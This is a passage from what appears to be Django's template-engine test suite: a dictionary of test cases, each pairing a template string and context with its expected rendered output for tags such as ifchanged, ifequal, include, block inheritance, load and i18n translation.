            'ifchanged-param02': ('{% for n in num %}{% for x in numx %}{% ifchanged n %}..{% endifchanged %}{{ x }}{% endfor %}{% endfor %}', { 'num': (1,2,3), 'numx': (5,6,7) }, '..567..567..567'),

            # Test multiple parameters to ifchanged.
            'ifchanged-param03': ('{% for n in num %}{{ n }}{% for x in numx %}{% ifchanged x n %}{{ x }}{% endifchanged %}{% endfor %}{% endfor %}', { 'num': (1,1,2), 'numx': (5,6,6) }, '156156256'),

            # Test a date+hour like construct, where the hour of the last day
            # is the same but the date had changed, so print the hour anyway.
            'ifchanged-param04': ('{% for d in days %}{% ifchanged %}{{ d.day }}{% endifchanged %}{% for h in d.hours %}{% ifchanged d h %}{{ h }}{% endifchanged %}{% endfor %}{% endfor %}', {'days':[{'day':1, 'hours':[1,2,3]},{'day':2, 'hours':[3]},] }, '112323'),

            # Logically the same as above, just written with explicit
            # ifchanged for the day.
            'ifchanged-param05': ('{% for d in days %}{% ifchanged d.day %}{{ d.day }}{% endifchanged %}{% for h in d.hours %}{% ifchanged d.day h %}{{ h }}{% endifchanged %}{% endfor %}{% endfor %}', {'days':[{'day':1, 'hours':[1,2,3]},{'day':2, 'hours':[3]},] }, '112323'),

            # Test the else clause of ifchanged.
            'ifchanged-else01': ('{% for id in ids %}{{ id }}{% ifchanged id %}-first{% else %}-other{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-first,1-other,2-first,2-other,2-other,3-first,'),

            'ifchanged-else02': ('{% for id in ids %}{{ id }}-{% ifchanged id %}{% cycle red,blue %}{% else %}grey{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-red,1-grey,2-blue,2-grey,2-grey,3-red,'),
            'ifchanged-else03': ('{% for id in ids %}{{ id }}{% ifchanged id %}-{% cycle red,blue %}{% else %}{% endifchanged %},{% endfor %}', {'ids': [1,1,2,2,2,3]}, '1-red,1,2-blue,2,2,3-red,'),

            'ifchanged-else04': ('{% for id in ids %}{% ifchanged %}***{{ id }}*{% else %}...{% endifchanged %}{{ forloop.counter }}{% endfor %}', {'ids': [1,1,2,2,2,3,4]}, '***1*1...2***2*3...4...5***3*6***4*7'),

            # Test whitespace in filter arguments
            'ifchanged-filter-ws': ('{% load custom %}{% for n in num %}{% ifchanged n|noop:""x y"" %}..{% endifchanged %}{{ n }}{% endfor %}', {'num': (1,2,3)}, '..1..2..3'),

            ### IFEQUAL TAG ###########################################################
            'ifequal01': (""{% ifequal a b %}yes{% endifequal %}"", {""a"": 1, ""b"": 2}, """"),
            'ifequal02': (""{% ifequal a b %}yes{% endifequal %}"", {""a"": 1, ""b"": 1}, ""yes""),
            'ifequal03': (""{% ifequal a b %}yes{% else %}no{% endifequal %}"", {""a"": 1, ""b"": 2}, ""no""),
            'ifequal04': (""{% ifequal a b %}yes{% else %}no{% endifequal %}"", {""a"": 1, ""b"": 1}, ""yes""),
            'ifequal05': (""{% ifequal a 'test' %}yes{% else %}no{% endifequal %}"", {""a"": ""test""}, ""yes""),
            'ifequal06': (""{% ifequal a 'test' %}yes{% else %}no{% endifequal %}"", {""a"": ""no""}, ""no""),
            'ifequal07': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {""a"": ""test""}, ""yes""),
            'ifequal08': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {""a"": ""no""}, ""no""),
            'ifequal09': ('{% ifequal a ""test"" %}yes{% else %}no{% endifequal %}', {}, ""no""),
            'ifequal10': ('{% ifequal a b %}yes{% else %}no{% endifequal %}', {}, ""yes""),

            # SMART SPLITTING
            'ifequal-split01': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {}, ""no""),
            'ifequal-split02': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {'a': 'foo'}, ""no""),
            'ifequal-split03': ('{% ifequal a ""test man"" %}yes{% else %}no{% endifequal %}', {'a': 'test man'}, ""yes""),
            'ifequal-split04': (""{% ifequal a 'test man' %}yes{% else %}no{% endifequal %}"", {'a': 'test man'}, ""yes""),
            'ifequal-split05': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': ''}, ""no""),
            'ifequal-split06': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': 'i ""love"" you'}, ""yes""),
            'ifequal-split07': (""{% ifequal a 'i \""love\"" you' %}yes{% else %}no{% endifequal %}"", {'a': 'i love you'}, ""no""),
            'ifequal-split08': (r""{% ifequal a 'I\'m happy' %}yes{% else %}no{% endifequal %}"", {'a': ""I'm happy""}, ""yes""),
            'ifequal-split09': (r""{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"", {'a': r""slash\man""}, ""yes""),
            'ifequal-split10': (r""{% ifequal a 'slash\man' %}yes{% else %}no{% endifequal %}"", {'a': r""slashman""}, ""no""),

            # NUMERIC RESOLUTION
            'ifequal-numeric01': ('{% ifequal x 5 %}yes{% endifequal %}', {'x': '5'}, ''),
            'ifequal-numeric02': ('{% ifequal x 5 %}yes{% endifequal %}', {'x': 5}, 'yes'),
            'ifequal-numeric03': ('{% ifequal x 5.2 %}yes{% endifequal %}', {'x': 5}, ''),
            'ifequal-numeric04': ('{% ifequal x 5.2 %}yes{% endifequal %}', {'x': 5.2}, 'yes'),
            'ifequal-numeric05': ('{% ifequal x 0.2 %}yes{% endifequal %}', {'x': .2}, 'yes'),
            'ifequal-numeric06': ('{% ifequal x .2 %}yes{% endifequal %}', {'x': .2}, 'yes'),
            'ifequal-numeric07': ('{% ifequal x 2. %}yes{% endifequal %}', {'x': 2}, ''),
            'ifequal-numeric08': ('{% ifequal x ""5"" %}yes{% endifequal %}', {'x': 5}, ''),
            'ifequal-numeric09': ('{% ifequal x ""5"" %}yes{% endifequal %}', {'x': '5'}, 'yes'),
            'ifequal-numeric10': ('{% ifequal x -5 %}yes{% endifequal %}', {'x': -5}, 'yes'),
            'ifequal-numeric11': ('{% ifequal x -5.2 %}yes{% endifequal %}', {'x': -5.2}, 'yes'),
            'ifequal-numeric12': ('{% ifequal x +5 %}yes{% endifequal %}', {'x': 5}, 'yes'),

            # FILTER EXPRESSIONS AS ARGUMENTS
            'ifequal-filter01': ('{% ifequal a|upper ""A"" %}x{% endifequal %}', {'a': 'a'}, 'x'),
            'ifequal-filter02': ('{% ifequal ""A"" a|upper %}x{% endifequal %}', {'a': 'a'}, 'x'),
            'ifequal-filter03': ('{% ifequal a|upper b|upper %}x{% endifequal %}', {'a': 'x', 'b': 'X'}, 'x'),
            'ifequal-filter04': ('{% ifequal x|slice:""1"" ""a"" %}x{% endifequal %}', {'x': 'aaa'}, 'x'),
            'ifequal-filter05': ('{% ifequal x|slice:""1""|upper ""A"" %}x{% endifequal %}', {'x': 'aaa'}, 'x'),

            ### IFNOTEQUAL TAG ########################################################
            'ifnotequal01': (""{% ifnotequal a b %}yes{% endifnotequal %}"", {""a"": 1, ""b"": 2}, ""yes""),
            'ifnotequal02': (""{% ifnotequal a b %}yes{% endifnotequal %}"", {""a"": 1, ""b"": 1}, """"),
            'ifnotequal03': (""{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}"", {""a"": 1, ""b"": 2}, ""yes""),
            'ifnotequal04': (""{% ifnotequal a b %}yes{% else %}no{% endifnotequal %}"", {""a"": 1, ""b"": 1}, ""no""),

            ## INCLUDE TAG ###########################################################
            'include01': ('{% include ""basic-syntax01"" %}', {}, ""something cool""),
            'include02': ('{% include ""basic-syntax02"" %}', {'headline': 'Included'}, ""Included""),
            'include03': ('{% include template_name %}', {'template_name': 'basic-syntax02', 'headline': 'Included'}, ""Included""),
            'include04': ('a{% include ""nonexistent"" %}b', {}, (""ab"", ""ab"", template.TemplateDoesNotExist)),
            'include 05': ('template with a space', {}, 'template with a space'),
            'include06': ('{% include ""include 05""%}', {}, 'template with a space'),

            # extra inline context
            'include07': ('{% include ""basic-syntax02"" with headline=""Inline"" %}', {'headline': 'Included'}, 'Inline'),
            'include08': ('{% include headline with headline=""Dynamic"" %}', {'headline': 'basic-syntax02'}, 'Dynamic'),
            'include09': ('{{ first }}--{% include ""basic-syntax03"" with first=second|lower|upper second=first|upper %}--{{ second }}', {'first': 'Ul', 'second': 'lU'}, 'Ul--LU --- UL--lU'),

            # isolated context
            'include10': ('{% include ""basic-syntax03"" only %}', {'first': '1'}, (' --- ', 'INVALID --- INVALID')),
            'include11': ('{% include ""basic-syntax03"" only with second=2 %}', {'first': '1'}, (' --- 2', 'INVALID --- 2')),
            'include12': ('{% include ""basic-syntax03"" with first=1 only %}', {'second': '2'}, ('1 --- ', '1 --- INVALID')),

            # autoescape context
            'include13': ('{% autoescape off %}{% include ""basic-syntax03"" %}{% endautoescape %}', {'first': '&'}, ('& --- ', '& --- INVALID')),
            'include14': ('{% autoescape off %}{% include ""basic-syntax03"" with first=var1 only %}{% endautoescape %}', {'var1': '&'}, ('& --- ', '& --- INVALID')),

            'include-error01': ('{% include ""basic-syntax01"" with %}', {}, template.TemplateSyntaxError),
            'include-error02': ('{% include ""basic-syntax01"" with ""no key"" %}', {}, template.TemplateSyntaxError),
            'include-error03': ('{% include ""basic-syntax01"" with dotted.arg=""error"" %}', {}, template.TemplateSyntaxError),
            'include-error04': ('{% include ""basic-syntax01"" something_random %}', {}, template.TemplateSyntaxError),
            'include-error05': ('{% include ""basic-syntax01"" foo=""duplicate"" foo=""key"" %}', {}, template.TemplateSyntaxError),
            'include-error06': ('{% include ""basic-syntax01"" only only %}', {}, template.TemplateSyntaxError),

            ### INCLUSION ERROR REPORTING #############################################
            'include-fail1': ('{% load bad_tag %}{% badtag %}', {}, RuntimeError),
            'include-fail2': ('{% load broken_tag %}', {}, template.TemplateSyntaxError),
            'include-error07': ('{% include ""include-fail1"" %}', {}, ('', '', RuntimeError)),
            'include-error08': ('{% include ""include-fail2"" %}', {}, ('', '', template.TemplateSyntaxError)),
            'include-error09': ('{% include failed_include %}', {'failed_include': 'include-fail1'}, ('', '', RuntimeError)),
            'include-error10': ('{% include failed_include %}', {'failed_include': 'include-fail2'}, ('', '', template.TemplateSyntaxError)),


            ### NAMED ENDBLOCKS #######################################################

            # Basic test
            'namedendblocks01': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock first %}3"", {}, '1_2_3'),

            # Unbalanced blocks
            'namedendblocks02': (""1{% block first %}_{% block second %}2{% endblock first %}_{% endblock second %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks03': (""1{% block first %}_{% block second %}2{% endblock %}_{% endblock second %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks04': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock third %}3"", {}, template.TemplateSyntaxError),
            'namedendblocks05': (""1{% block first %}_{% block second %}2{% endblock first %}"", {}, template.TemplateSyntaxError),

            # Mixed named and unnamed endblocks
            'namedendblocks06': (""1{% block first %}_{% block second %}2{% endblock %}_{% endblock first %}3"", {}, '1_2_3'),
            'namedendblocks07': (""1{% block first %}_{% block second %}2{% endblock second %}_{% endblock %}3"", {}, '1_2_3'),

            ### INHERITANCE ###########################################################

            # Standard template with no inheritance
            'inheritance01': (""1{% block first %}&{% endblock %}3{% block second %}_{% endblock %}"", {}, '1&3_'),

            # Standard two-level inheritance
            'inheritance02': (""{% extends 'inheritance01' %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {}, '1234'),

            # Three-level with no redefinitions on third level
            'inheritance03': (""{% extends 'inheritance02' %}"", {}, '1234'),

            # Two-level with no redefinitions on second level
            'inheritance04': (""{% extends 'inheritance01' %}"", {}, '1&3_'),

            # Two-level with double quotes instead of single quotes
            'inheritance05': ('{% extends ""inheritance02"" %}', {}, '1234'),

            # Three-level with variable parent-template name
            'inheritance06': (""{% extends foo %}"", {'foo': 'inheritance02'}, '1234'),

            # Two-level with one block defined, one block not defined
            'inheritance07': (""{% extends 'inheritance01' %}{% block second %}5{% endblock %}"", {}, '1&35'),

            # Three-level with one block defined on this level, two blocks defined next level
            'inheritance08': (""{% extends 'inheritance02' %}{% block second %}5{% endblock %}"", {}, '1235'),

            # Three-level with second and third levels blank
            'inheritance09': (""{% extends 'inheritance04' %}"", {}, '1&3_'),

            # Three-level with space NOT in a block -- should be ignored
            'inheritance10': (""{% extends 'inheritance04' %}      "", {}, '1&3_'),

            # Three-level with both blocks defined on this level, but none on second level
            'inheritance11': (""{% extends 'inheritance04' %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {}, '1234'),

            # Three-level with this level providing one and second level providing the other
            'inheritance12': (""{% extends 'inheritance07' %}{% block first %}2{% endblock %}"", {}, '1235'),

            # Three-level with this level overriding second level
            'inheritance13': (""{% extends 'inheritance02' %}{% block first %}a{% endblock %}{% block second %}b{% endblock %}"", {}, '1a3b'),

            # A block defined only in a child template shouldn't be displayed
            'inheritance14': (""{% extends 'inheritance01' %}{% block newblock %}NO DISPLAY{% endblock %}"", {}, '1&3_'),

            # A block within another block
            'inheritance15': (""{% extends 'inheritance01' %}{% block first %}2{% block inner %}inner{% endblock %}{% endblock %}"", {}, '12inner3_'),

            # A block within another block (level 2)
            'inheritance16': (""{% extends 'inheritance15' %}{% block inner %}out{% endblock %}"", {}, '12out3_'),

            # {% load %} tag (parent -- setup for exception04)
            'inheritance17': (""{% load testtags %}{% block first %}1234{% endblock %}"", {}, '1234'),

            # {% load %} tag (standard usage, without inheritance)
            'inheritance18': (""{% load testtags %}{% echo this that theother %}5678"", {}, 'this that theother5678'),

            # {% load %} tag (within a child template)
            'inheritance19': (""{% extends 'inheritance01' %}{% block first %}{% load testtags %}{% echo 400 %}5678{% endblock %}"", {}, '140056783_'),

            # Two-level inheritance with {{ block.super }}
            'inheritance20': (""{% extends 'inheritance01' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '1&a3_'),

            # Three-level inheritance with {{ block.super }} from parent
            'inheritance21': (""{% extends 'inheritance02' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '12a34'),

            # Three-level inheritance with {{ block.super }} from grandparent
            'inheritance22': (""{% extends 'inheritance04' %}{% block first %}{{ block.super }}a{% endblock %}"", {}, '1&a3_'),

            # Three-level inheritance with {{ block.super }} from parent and grandparent
            'inheritance23': (""{% extends 'inheritance20' %}{% block first %}{{ block.super }}b{% endblock %}"", {}, '1&ab3_'),

            # Inheritance from local context without use of template loader
            'inheritance24': (""{% extends context_template %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {'context_template': template.Template(""1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"")}, '1234'),

            # Inheritance from local context with variable parent template
            'inheritance25': (""{% extends context_template.1 %}{% block first %}2{% endblock %}{% block second %}4{% endblock %}"", {'context_template': [template.Template(""Wrong""), template.Template(""1{% block first %}_{% endblock %}3{% block second %}_{% endblock %}"")]}, '1234'),

            # Set up a base template to extend
            'inheritance26': (""no tags"", {}, 'no tags'),

            # Inheritance from a template that doesn't have any blocks
            'inheritance27': (""{% extends 'inheritance26' %}"", {}, 'no tags'),

            # Set up a base template with a space in it.
            'inheritance 28': (""{% block first %}!{% endblock %}"", {}, '!'),

            # Inheritance from a template with a space in its name should work.
            'inheritance29': (""{% extends 'inheritance 28' %}"", {}, '!'),

            # Base template, putting block in a conditional {% if %} tag
            'inheritance30': (""1{% if optional %}{% block opt %}2{% endblock %}{% endif %}3"", {'optional': True}, '123'),

            # Inherit from a template with block wrapped in an {% if %} tag (in parent), still gets overridden
            'inheritance31': (""{% extends 'inheritance30' %}{% block opt %}two{% endblock %}"", {'optional': True}, '1two3'),
            'inheritance32': (""{% extends 'inheritance30' %}{% block opt %}two{% endblock %}"", {}, '13'),

            # Base template, putting block in a conditional {% ifequal %} tag
            'inheritance33': (""1{% ifequal optional 1 %}{% block opt %}2{% endblock %}{% endifequal %}3"", {'optional': 1}, '123'),

            # Inherit from a template with block wrapped in an {% ifequal %} tag (in parent), still gets overridden
            'inheritance34': (""{% extends 'inheritance33' %}{% block opt %}two{% endblock %}"", {'optional': 1}, '1two3'),
            'inheritance35': (""{% extends 'inheritance33' %}{% block opt %}two{% endblock %}"", {'optional': 2}, '13'),

            # Base template, putting block in a {% for %} tag
            'inheritance36': (""{% for n in numbers %}_{% block opt %}{{ n }}{% endblock %}{% endfor %}_"", {'numbers': '123'}, '_1_2_3_'),

            # Inherit from a template with block wrapped in an {% for %} tag (in parent), still gets overridden
            'inheritance37': (""{% extends 'inheritance36' %}{% block opt %}X{% endblock %}"", {'numbers': '123'}, '_X_X_X_'),
            'inheritance38': (""{% extends 'inheritance36' %}{% block opt %}X{% endblock %}"", {}, '_'),

            # The super block will still be found.
            'inheritance39': (""{% extends 'inheritance30' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'optional': True}, '1new23'),
            'inheritance40': (""{% extends 'inheritance33' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'optional': 1}, '1new23'),
            'inheritance41': (""{% extends 'inheritance36' %}{% block opt %}new{{ block.super }}{% endblock %}"", {'numbers': '123'}, '_new1_new2_new3_'),

            # Expression starting and ending with a quote
            'inheritance42': (""{% extends 'inheritance02'|cut:' ' %}"", {}, '1234'),

            ### LOADING TAG LIBRARIES #################################################
            'load01': (""{% load testtags subpackage.echo %}{% echo test %} {% echo2 \""test\"" %}"", {}, ""test test""),
            'load02': (""{% load subpackage.echo %}{% echo2 \""test\"" %}"", {}, ""test""),

            # {% load %} tag, importing individual tags
            'load03': (""{% load echo from testtags %}{% echo this that theother %}"", {}, 'this that theother'),
            'load04': (""{% load echo other_echo from testtags %}{% echo this that theother %} {% other_echo and another thing %}"", {}, 'this that theother and another thing'),
            'load05': (""{% load echo upper from testtags %}{% echo this that theother %} {{ statement|upper }}"", {'statement': 'not shouting'}, 'this that theother NOT SHOUTING'),
            'load06': (""{% load echo2 from subpackage.echo %}{% echo2 \""test\"" %}"", {}, ""test""),

            # {% load %} tag errors
            'load07': (""{% load echo other_echo bad_tag from testtags %}"", {}, template.TemplateSyntaxError),
            'load08': (""{% load echo other_echo bad_tag from %}"", {}, template.TemplateSyntaxError),
            'load09': (""{% load from testtags %}"", {}, template.TemplateSyntaxError),
            'load10': (""{% load echo from bad_library %}"", {}, template.TemplateSyntaxError),
            'load11': (""{% load subpackage.echo_invalid %}"", {}, template.TemplateSyntaxError),
            'load12': (""{% load subpackage.missing %}"", {}, template.TemplateSyntaxError),

            ### I18N ##################################################################

            # {% spaceless %} tag
            'spaceless01': (""{% spaceless %} <b>    <i> text </i>    </b> {% endspaceless %}"", {}, ""<b><i> text </i></b>""),
            'spaceless02': (""{% spaceless %} <b> \n <i> text </i> \n </b> {% endspaceless %}"", {}, ""<b><i> text </i></b>""),
            'spaceless03': (""{% spaceless %}<b><i>text</i></b>{% endspaceless %}"", {}, ""<b><i>text</i></b>""),
            'spaceless04': (""{% spaceless %}<b>   <i>{{ text }}</i>  </b>{% endspaceless %}"", {'text' : 'This & that'}, ""<b><i>This &amp; that</i></b>""),
            'spaceless05': (""{% autoescape off %}{% spaceless %}<b>   <i>{{ text }}</i>  </b>{% endspaceless %}{% endautoescape %}"", {'text' : 'This & that'}, ""<b><i>This & that</i></b>""),
            'spaceless06': (""{% spaceless %}<b>   <i>{{ text|safe }}</i>  </b>{% endspaceless %}"", {'text' : 'This & that'}, ""<b><i>This & that</i></b>""),

            # simple translation of a string delimited by '
            'i18n01': (""{% load i18n %}{% trans 'xxxyyyxxx' %}"", {}, ""xxxyyyxxx""),

            # simple translation of a string delimited by ""
            'i18n02': ('{% load i18n %}{% trans ""xxxyyyxxx"" %}', {}, ""xxxyyyxxx""),

            # simple translation of a variable
            'i18n03': ('{% load i18n %}{% blocktrans %}{{ anton }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, ""Å""),

            # simple translation of a variable and filter
            'i18n04': ('{% load i18n %}{% blocktrans with berta=anton|lower %}{{ berta }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, 'å'),
            'legacyi18n04': ('{% load i18n %}{% blocktrans with anton|lower as berta %}{{ berta }}{% endblocktrans %}', {'anton': b'\xc3\x85'}, 'å'),

            # simple translation of a string with interpolation
            'i18n05': ('{% load i18n %}{% blocktrans %}xxx{{ anton }}xxx{% endblocktrans %}', {'anton': 'yyy'}, ""xxxyyyxxx""),

            # simple translation of a string to german
            'i18n06': ('{% load i18n %}{% trans ""Page not found"" %}', {'LANGUAGE_CODE': 'de'}, ""Seite nicht gefunden""),

            # translation of singular form
            'i18n07': ('{% load i18n %}{% blocktrans count counter=number %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 1}, ""singular""),
            'legacyi18n07': ('{% load i18n %}{% blocktrans count number as counter %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 1}, ""singular""),

            # translation of plural form
            'i18n08': ('{% load i18n %}{% blocktrans count number as counter %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 2}, ""2 plural""),
            'legacyi18n08': ('{% load i18n %}{% blocktrans count counter=number %}singular{% plural %}{{ counter }} plural{% endblocktrans %}', {'number': 2}, ""2 plural""),

            # simple non-translation (only marking) of a string to german
            'i18n09': ('{% load i18n %}{% trans ""Page not found"" noop %}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),

            # translation of a variable with a translated filter
            'i18n10': ('{{ bool|yesno:_(""yes,no,maybe"") }}', {'bool': True, 'LANGUAGE_CODE': 'de'}, 'Ja'),

            # translation of a variable with a non-translated filter
            'i18n11': ('{{ bool|yesno:""ja,nein"" }}', {'bool': True}, 'ja'),

            # usage of the get_available_languages tag
            'i18n12': ('{% load i18n %}{% get_available_languages as langs %}{% for lang in langs %}{% ifequal lang.0 ""de"" %}{{ lang.0 }}{% endifequal %}{% endfor %}', {}, 'de'),

            # translation of constant strings
            'i18n13': ('{{ _(""Password"") }}', {'LANGUAGE_CODE': 'de'}, 'Passwort'),
            'i18n14': ('{% cycle ""foo"" _(""Password"") _(\'Password\') as c %} {% cycle c %} {% cycle c %}', {'LANGUAGE_CODE': 'de'}, 'foo Passwort Passwort'),
            'i18n15': ('{{ absent|default:_(""Password"") }}', {'LANGUAGE_CODE': 'de', 'absent': """"}, 'Passwort'),
            'i18n16': ('{{ _(""<"") }}', {'LANGUAGE_CODE': 'de'}, '<'),

            # Escaping inside blocktrans and trans works as if it was directly in the
            # template.
            'i18n17': ('{% load i18n %}{% blocktrans with berta=anton|escape %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'i18n18': ('{% load i18n %}{% blocktrans with berta=anton|force_escape %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'i18n19': ('{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}', {'andrew': 'a & b'}, 'a &amp; b'),
            'i18n20': ('{% load i18n %}{% trans andrew %}', {'andrew': 'a & b'}, 'a &amp; b'),
            'i18n21': ('{% load i18n %}{% blocktrans %}{{ andrew }}{% endblocktrans %}', {'andrew': mark_safe('a & b')}, 'a & b'),
            'i18n22': ('{% load i18n %}{% trans andrew %}', {'andrew': mark_safe('a & b')}, 'a & b'),
            'legacyi18n17': ('{% load i18n %}{% blocktrans with anton|escape as berta %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),
            'legacyi18n18': ('{% load i18n %}{% blocktrans with anton|force_escape as berta %}{{ berta }}{% endblocktrans %}', {'anton': 'α & β'}, 'α &amp; β'),

            # Use filters with the {% trans %} tag, #5972
            'i18n23': ('{% load i18n %}{% trans ""Page not found""|capfirst|slice:""6:"" %}', {'LANGUAGE_CODE': 'de'}, 'nicht gefunden'),
            'i18n24': (""{% load i18n %}{% trans 'Page not found'|upper %}"", {'LANGUAGE_CODE': 'de'}, 'SEITE NICHT GEFUNDEN'),
            'i18n25': ('{% load i18n %}{% trans somevar|upper %}', {'somevar': 'Page not found', 'LANGUAGE_CODE': 'de'}, 'SEITE NICHT GEFUNDEN'),

            # translation of plural form with extra field in singular form (#13568)
            'i18n26': ('{% load i18n %}{% blocktrans with extra_field=myextra_field count counter=number %}singular {{ extra_field }}{% plural %}plural{% endblocktrans %}', {'number': 1, 'myextra_field': 'test'}, ""singular test""),
            'legacyi18n26': ('{% load i18n %}{% blocktrans with myextra_field as extra_field count number as counter %}singular {{ extra_field }}{% plural %}plural{% endblocktrans %}', {'number': 1, 'myextra_field': 'test'}, ""singular test""),

            # translation of singular form in russian (#14126)
            'i18n27': ('{% load i18n %}{% blocktrans count counter=number %}{{ counter }} result{% plural %}{{ counter }} results{% endblocktrans %}', {'number': 1, 'LANGUAGE_CODE': 'ru'}, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442'),
            'legacyi18n27': ('{% load i18n %}{% blocktrans count number as counter %}{{ counter }} result{% plural %}{{ counter }} results{% endblocktrans %}', {'number': 1, 'LANGUAGE_CODE': 'ru'}, '1 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442'),

            # simple translation of multiple variables
            'i18n28': ('{% load i18n %}{% blocktrans with a=anton b=berta %}{{ a }} + {{ b }}{% endblocktrans %}', {'anton': 'α', 'berta': 'β'}, 'α + β'),
            'legacyi18n28': ('{% load i18n %}{% blocktrans with anton as a and berta as b %}{{ a }} + {{ b }}{% endblocktrans %}', {'anton': 'α', 'berta': 'β'}, 'α + β'),

            # retrieving language information
            'i18n28_2': ('{% load i18n %}{% get_language_info for ""de"" as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {}, 'de: German/Deutsch bidi=False'),
            'i18n29': ('{% load i18n %}{% get_language_info for LANGUAGE_CODE as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {'LANGUAGE_CODE': 'fi'}, 'fi: Finnish/suomi bidi=False'),
            'i18n30': ('{% load i18n %}{% get_language_info_list for langcodes as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': ['it', 'no']}, 'it: Italian/italiano bidi=False; no: Norwegian/norsk bidi=False; '),
            'i18n31': ('{% load i18n %}{% get_language_info_list for langcodes as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': (('sl', 'Slovenian'), ('fa', 'Persian'))}, 'sl: Slovenian/Sloven\u0161\u010dina bidi=False; fa: Persian/\u0641\u0627\u0631\u0633\u06cc bidi=True; '),
            'i18n32': ('{% load i18n %}{{ ""hu""|language_name }} {{ ""hu""|language_name_local }} {{ ""hu""|language_bidi }}', {}, 'Hungarian Magyar False'),
            'i18n33': ('{% load i18n %}{{ langcode|language_name }} {{ langcode|language_name_local }} {{ langcode|language_bidi }}', {'langcode': 'nl'}, 'Dutch Nederlands False'),

            # blocktrans handling of variables which are not in the context.
            # this should work as if blocktrans was not there (bug #19915)
            'i18n34': ('{% load i18n %}{% blocktrans %}{{ missing }}{% endblocktrans %}', {}, ('', 'INVALID')),
            'i18n34_2': (""{% load i18n %}{% blocktrans with a='α' %}{{ missing }}{% endblocktrans %}"", {}, ('', 'INVALID')),
            'i18n34_3': ('{% load i18n %}{% blocktrans with a=anton %}{{ missing }}{% endblocktrans %}', {'anton': 'α'}, ('', 'INVALID')),

            # trans tag with as var
            'i18n35': ('{% load i18n %}{% trans ""Page not found"" as page_not_found %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Seite nicht gefunden""),
            'i18n36': ('{% load i18n %}{% trans ""Page not found"" noop as page_not_found %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),
            'i18n36': ('{% load i18n %}{% trans ""Page not found"" as page_not_found noop %}{{ page_not_found }}', {'LANGUAGE_CODE': 'de'}, ""Page not found""),
            'i18n37': ('{% load i18n %}{% trans ""Page not found"" as page_not_found %}{% blocktrans %}Error: {{ page_not_found }}{% endblocktrans %}', {'LANGUAGE_CODE': 'de'}, ""Error: Seite nicht gefunden""),

            # Test whitespace in filter arguments
            'i18n38': ('{% load i18n custom %}{% get_language_info for ""de""|noop:""x y"" as l %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}', {}, 'de: German/Deutsch bidi=False'),
            'i18n38_2': ('{% load i18n custom %}{% get_language_info_list for langcodes|noop:""x y"" as langs %}{% for l in langs %}{{ l.code }}: {{ l.name }}/{{ l.name_local }} bidi={{ l.bidi }}; {% endfor %}', {'langcodes': ['it', 'no']}, 'it: Italian/italiano bidi=False; no: Norwegian/norsk bidi=False; '),

            ### HANDLING OF TEMPLATE_STRING_IF_INVALID ###################################

            'invalidstr01': ('{{ var|default:""Foo"" }}', {}, ('Foo','INVALID')),
            'invalidstr02': ('{{ var|default_if_none:""Foo"" }}', {}, ('','INVALID')),
            'invalidstr03': ('{% for v in var %}({{ v }}){% endfor %}', {}, ''),
            'invalidstr04': ('{% if var %}Yes{% else %}No{% endif %}', {}, 'No'),
            'invalidstr04_2': ('{% if var|default:""Foo"" %}Yes{% else %}No{% endif %}', {}, 'Yes'),
            'invalidstr05': ('{{ var }}', {}, ('', ('INVALID %s', 'var'))),
            'invalidstr06': ('{{ var.prop }}', {'var': {}}, ('', ('INVALID %s', 'var.prop'))),

            ### MULTILINE #############################################################

            'multiline01': (""""""
                            Hello,
                            boys.
                            How
                            are
                            you
                            gentlemen.
                            """""",
                            {},
                            """"""
                            Hello,
                            boys.
                            How
                            are
                            you
                            gentlemen.
                            """"""),

            ### REGROUP TAG ###########################################################
            'regroup01': ('{% regroup data by bar as grouped %}'
                          '{% for group in grouped %}'
                          '{{ group.grouper }}:'
                          '{% for item in group.list %}'
                          '{{ item.foo }}'
                          '{% endfor %},'
